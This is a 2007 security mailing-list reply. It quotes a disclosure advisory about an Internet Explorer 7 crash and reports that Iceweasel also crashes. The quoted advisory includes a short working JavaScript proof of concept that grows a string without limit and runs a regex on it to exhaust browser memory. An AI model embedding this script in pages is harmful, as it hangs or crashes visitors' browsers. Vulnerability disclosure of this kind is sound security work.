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Re: Internet Explorer Crash



Actually, this also crashes Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1)

I would think that Firefox and most browsers implementing javascript
would die an horrible OOM death on this.

A.

On Tue, Apr 17, 2007 at 01:09:13PM -0400, J. Oquendo wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Product: Internet Explorer Version 7.0.5730.11
> Impact: Browser crash possibly more
> Author: Jesus Oquendo
> echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'
> 
> 
> I. BACKGROUND
> Why bother? Who doesn't know what Internet Explorer and Microsoft are.
> 
> II. DESCRIPTION
> IE 7 is vulnerable to a script which causes the browser to hang. The
> memory and CPU usage go through the roof. Originally the script caused
> (and still causes) Safari and Konqueror to crash.
> 
> III SOLUTION
> Stop using Microsoft products or deal with a new advisory every other
> day.
> 
> IV. Proof
> http://www.infiltrated.net/stupidInternetExploder.html
> 
> V. Code
> 
> $ more /stupidInternetExploder.html
> 
> <script>
> 
> var reg = /(.)*/;
> 
> var z = 'Z';
>                while (z.length <= 
> 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
> 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
>  z+=z;
>        var boum = reg.exec(z);
> 
> </script>
> 
> Goodbye
> 
> 
> J. Oquendo
> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
> sil . infiltrated @ net http://www.infiltrated.net 
> 
> The happiness of society is the end of government.
> John Adams
> 
> 
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> Version: GnuPG v1.4.3 (FreeBSD)
> 
> iD8DBQFGJQGJh3J3NhODp0MRArt5AKCVI+A0rHdYMOz9KYIbCxFkMN8QcgCbBBBC
> TCV7FOqA05H8sSDb0r8nSnk=
> =J/DW
> -----END PGP SIGNATURE-----
> 



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